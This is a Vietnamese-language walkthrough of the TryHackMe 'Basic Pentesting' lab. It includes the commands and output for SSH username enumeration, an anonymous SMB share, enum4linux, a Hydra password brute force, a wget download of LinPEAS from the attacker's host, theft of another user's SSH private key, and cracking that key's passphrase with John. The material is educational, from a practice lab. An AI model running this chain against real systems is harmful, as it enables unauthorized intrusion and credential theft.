IP

10.10.112.103 10.10.153.100 10.10.3.135

Recon

Nmap

nmap -A -T3 10.10.112.103 -o nmap
 
Host is up (0.35s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
|   256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
|_  256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
| ajp-methods:
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http        Apache Tomcat 9.0.7
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.7
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
...
Nmap done: 1 IP address (1 host up) scanned in 65.94 seconds

Phân tích:

  • Port 22 chạy SSH version 7.2p2
  • Port 80 chạy Apache httpd 2.4.18 và port 8080 chạy Apache Tomcat 9.0.7
  • Có dịch vụ Samba 4.3.11 ở port 139 và 445
  • Port 8009 chạy Apache Jserv
  • Hostname là BASIC2 và hệ điều hành là Linux.

Dirsearch

dirsearch -u http://10.10.112.103/ -e "*" -o dirsearch --format json
 
...
[21:13:35] 200 -  474B  - /development/
...

Tìm thấy thư mục /development có các file sau:

2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm 
using version 2.5.12, because other versions were giving me trouble. -K
 
2018-04-22: SMB has been configured. -K
 
2018-04-21: I got Apache set up. Will put in our content later. -J
For J:
 
I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.
 
-K

Exploit

SSH

Tìm được CVE-2018-15473 cho phép enumerate username ở phiên bản OpenSSH 7.2p2

searchsploit openssh 7.2p2
 
OpenSSHd 7.2p2 - Username Enumeration | linux/remote/40113.txt

Sử dụng Metasploit:

msf6 auxiliary(scanner/ssh/ssh_enumusers) > set rhosts 10.10.112.103
msf6 auxiliary(scanner/ssh/ssh_enumusers) > set user_file /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt
msf6 auxiliary(scanner/ssh/ssh_enumusers) > run
 
[*] 10.10.112.103:22 - SSH - Using malformed packet technique
[*] 10.10.112.103:22 - SSH - Checking for false positives
[*] 10.10.112.103:22 - SSH - Starting scan
[+] 10.10.112.103:22 - SSH - User 'mail' found
[+] 10.10.112.103:22 - SSH - User 'root' found
[+] 10.10.112.103:22 - SSH - User 'news' found
...

Các user trên đều không phải là user mà ta cần tìm và việc quét rất mất thời gian.

Note

Đa số các tool khai thác CVE-2018-15473 khác đều không sử dụng được do breaking changes trong thư viện paramiko.

SMB

Dùng smbmap để thăm dò các share:

smbmap -H 10.10.112.103
 
[+] IP: 10.10.112.103:445       Name: 10.10.112.103             Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        Anonymous                                               READ ONLY
        IPC$                                                    NO ACCESS       IPC Service (Samba Server 4.3.11-Ubuntu)

Kết nối đến share Anonymous:

smbclient //10.10.112.103//Anonymous

Tìm được file staff.txt có nội dung như sau:

Announcement to staff:
 
PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)
 
-Kay

Enum4linux

Tool enum4linux được dùng để enumerate các thông tin liên quan đến Windows và Samba. Hướng dẫn của room gợi ý sử dụng tool này để tìm username của host.

enum4linux -a 10.10.112.103 | tee enum4linux.log

Lệnh tee ở trên sẽ giúp redirect output từ enum4linux vào file log.

Output có một số dòng như sau:

[+] Enumerating users using SID S-1-5-21-2853212168-2008227510-3551253869 and logon username '', password ''
S-1-5-21-2853212168-2008227510-3551253869-501 BASIC2\nobody (Local User)
S-1-5-21-2853212168-2008227510-3551253869-513 BASIC2\None (Domain Group)
 
 
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\kay (Local User)
S-1-22-1-1001 Unix User\jan (Local User)

Hydra

Có thể thấy, ta tìm được 2 user là kayjan. Sử dụng Hydra để tìm password:

hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.10.112.103

Ta tìm được một password:

[22][ssh] host: 10.10.153.100   login: jan   password: armando
1 of 1 target successfully completed, 1 valid password found

Truy cập vào host thông qua SSH:

ssh jan@10.10.153.100

Escalation

Kernel:

jan@basic2:~$ uname -a
Linux basic2 4.4.0-119-generic #143-Ubuntu SMP Mon Apr 2 16:08:24 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Không tồn tại lỗ hổng cho kernel version này.

Tập quyền:

jan@basic2:~$ id
uid=1001(jan) gid=1001(jan) groups=1001(jan)

Không thể chạy sudo -l:

jan@basic2:~$ sudo -l
[sudo] password for jan:
Sorry, user jan may not run sudo on basic2.

Không thể đọc file /etc/shadow:

jan@basic2:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied

Vào thư mục home của kay và thấy file password:

jan@basic2:~$ cd ..
jan@basic2:/home$ cd kay
jan@basic2:/home/kay$ ls
pass.bak

Có vẻ như mục tiêu cuối cùng chính là file này.

Không tìm thấy binary có SUID mà có thể khai thác:

find / -type f -perm -04000 -ls 2>/dev/null
 
   262236     40 -rwsr-xr-x   1 root     root          40128 May 16  2017 /bin/su
   263821    140 -rwsr-xr-x   1 root     root         142032 Jan 28  2017 /bin/ntfs-3g
   262220     44 -rwsr-xr-x   1 root     root          44680 May  7  2014 /bin/ping6
   262199     28 -rwsr-xr-x   1 root     root          27608 Nov 30  2017 /bin/umount
   263818     32 -rwsr-xr-x   1 root     root          30800 Jul 12  2016 /bin/fusermount
   262169     40 -rwsr-xr-x   1 root     root          40152 Nov 30  2017 /bin/mount
   262219     44 -rwsr-xr-x   1 root     root          44168 May  7  2014 /bin/ping

Không tồn tại capability có thể khai thác:

jan@basic2:~$ getcap -r / 2>/dev/null
/usr/bin/mtr = cap_net_raw+ep
/usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep

Không tìm thấy CRON job có thể khai thác:

jan@basic2:~$ cat /etc/crontab
 
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
 
# m h dom mon dow user  command
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

Tìm các thư mục có thể ghi:

find / -writable 2>/dev/null | grep -v proc
 
...
/var/spool/samba
/var/lock
/var/tmp
/var/crash
...

Tải LinPEAS về thư mục /var/tmp:

jan@basic2:/var/tmp$ wget http://10.11.79.35/linpeas.sh .
jan@basic2:/var/tmp$ chmod +x linpeas.sh

Thực thi linpeas.sh để tìm các attack surface. Trong kết quả thấy ta có quyền đọc private key /home/kay/.ssh/id_rsa.

Tải file và thay đổi quyền:

scp jan@10.10.3.135:/home/kay/.ssh/id_rsa .
chmod 600 id_rsa

Với 600 là bao gồm quyền đọc và ghi.

Dùng SSH để login nhưng key có passphrase:

ssh -i id_rsa kay@10.10.3.135
 
Enter passphrase for key 'id_rsa':

Chuyển key sang dạng .hash bằng tool ssh2john.py để John có thể xử lý:

python3 ssh2john.py id_rsa > id_rsa.hash

Sau đó chạy john để crack passphrase:

john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax          (id_rsa)
1g 0:00:00:00 DONE (2024-03-29 16:50) 25.00g/s 2068Kp/s 2068Kc/s 2068KC/s behlat..bammer
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Tìm được passphrase là beeswax.

Đăng nhập vào tài khoản của kay bằng key cùng với passphrase vừa tìm được:

ssh -i id_rsa kay@10.10.3.135

Đọc file pass.bak để có password:

Success

heresareallystrongpasswordthatfollowsthepasswordpolicy$

list
from outgoing([[TryHackMe - Basic Pentesting]])
sort file.ctime asc

Resources